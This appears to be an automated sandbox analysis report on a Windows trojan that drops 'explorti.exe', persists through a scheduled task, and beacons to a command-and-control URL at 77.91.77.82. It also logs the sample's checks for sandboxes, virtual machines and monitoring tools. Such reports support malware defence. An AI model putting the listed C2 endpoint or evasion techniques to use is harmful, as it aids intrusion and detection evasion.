Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.91.77.82

Source: unknown

HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorti.exe, 00000001.00000003.2032399644.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000001.00000003.2032367008.0000000000C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 00000001.00000003.2032399644.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php2
Source: explorti.exe, 00000001.00000003.2032399644.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpt

System Summary

PE file contains section with special chars

Source: i52xoegJro.exe	Static PE information: section name:
Source: i52xoegJro.exe	Static PE information: section name: .idata
Source: i52xoegJro.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\i52xoegJro.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: i52xoegJro.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: i52xoegJro.exe	Static PE information: Section: ZLIB complexity 0.9983617230191257
Source: i52xoegJro.exe	Static PE information: Section: mgjaevfh ZLIB complexity 0.9944356036243946
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983617230191257
Source: explorti.exe.0.dr	Static PE information: Section: mgjaevfh ZLIB complexity 0.9944356036243946

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/3@0/1

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\i52xoegJro.exe

File created: C:\Users\user\AppData\Local\Temp\ad40971b6b

Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: i52xoegJro.exe

ReversingLabs: Detection: 73%

Source: i52xoegJro.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\i52xoegJro.exe

File read: C:\Users\user\Desktop\i52xoegJro.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\i52xoegJro.exe "C:\Users\user\Desktop\i52xoegJro.exe"
Source: C:\Users\user\Desktop\i52xoegJro.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\i52xoegJro.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: i52xoegJro.exe

Static file information: File size 1894400 > 1048576

Source: i52xoegJro.exe

Static PE information: Raw size of mgjaevfh is bigger than: 0x100000 < 0x19d000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\i52xoegJro.exe	Unpacked PE file: 0.2.i52xoegJro.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 2.2.explorti.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 6.2.explorti.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.280000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mgjaevfh:EW;tngkxhft:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1cf7be should be: 0x1d7418
Source: i52xoegJro.exe	Static PE information: real checksum: 0x1cf7be should be: 0x1d7418

Source: i52xoegJro.exe	Static PE information: section name:
Source: i52xoegJro.exe	Static PE information: section name: .idata
Source: i52xoegJro.exe	Static PE information: section name:
Source: i52xoegJro.exe	Static PE information: section name: mgjaevfh
Source: i52xoegJro.exe	Static PE information: section name: tngkxhft
Source: i52xoegJro.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: mgjaevfh
Source: explorti.exe.0.dr	Static PE information: section name: tngkxhft
Source: explorti.exe.0.dr	Static PE information: section name: .taggant

Source: i52xoegJro.exe	Static PE information: section name: entropy: 7.985427988547485
Source: i52xoegJro.exe	Static PE information: section name: mgjaevfh entropy: 7.953546308533248
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.985427988547485
Source: explorti.exe.0.dr	Static PE information: section name: mgjaevfh entropy: 7.953546308533248

Source: C:\Users\user\Desktop\i52xoegJro.exe

File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\i52xoegJro.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\i52xoegJro.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\i52xoegJro.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\i52xoegJro.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5B5E4 second address: D5B5EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5B76B second address: D5B770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BB5E second address: D5BB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BB67 second address: D5BB77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9C65100586h 0x0000000a jo 00007F9C65100586h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BB77 second address: D5BB8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F9C644F7B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F9C644F7B26h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BCD0 second address: D5BCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BCD4 second address: D5BCF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F9C644F7B2Eh 0x0000000c js 00007F9C644F7B26h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 jl 00007F9C644F7B40h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5BE29 second address: D5BE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jno 00007F9C651005A0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5E13B second address: D5E16C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 3C9BBCEFh 0x00000012 or dword ptr [ebp+122D3427h], esi 0x00000018 lea ebx, dword ptr [ebp+12452EFAh] 0x0000001e sub dword ptr [ebp+122D2DC5h], esi 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 js 00007F9C644F7B26h 0x0000002e push eax 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5E1AB second address: D5E1C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C65100594h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5E38E second address: D5E398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9C644F7B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5E486 second address: D5E49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9C65100592h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D5E49F second address: D5E4BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jl 00007F9C644F7B2Ah 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D541 second address: D7D545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D545 second address: D7D54F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D6A8 second address: D7D6AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
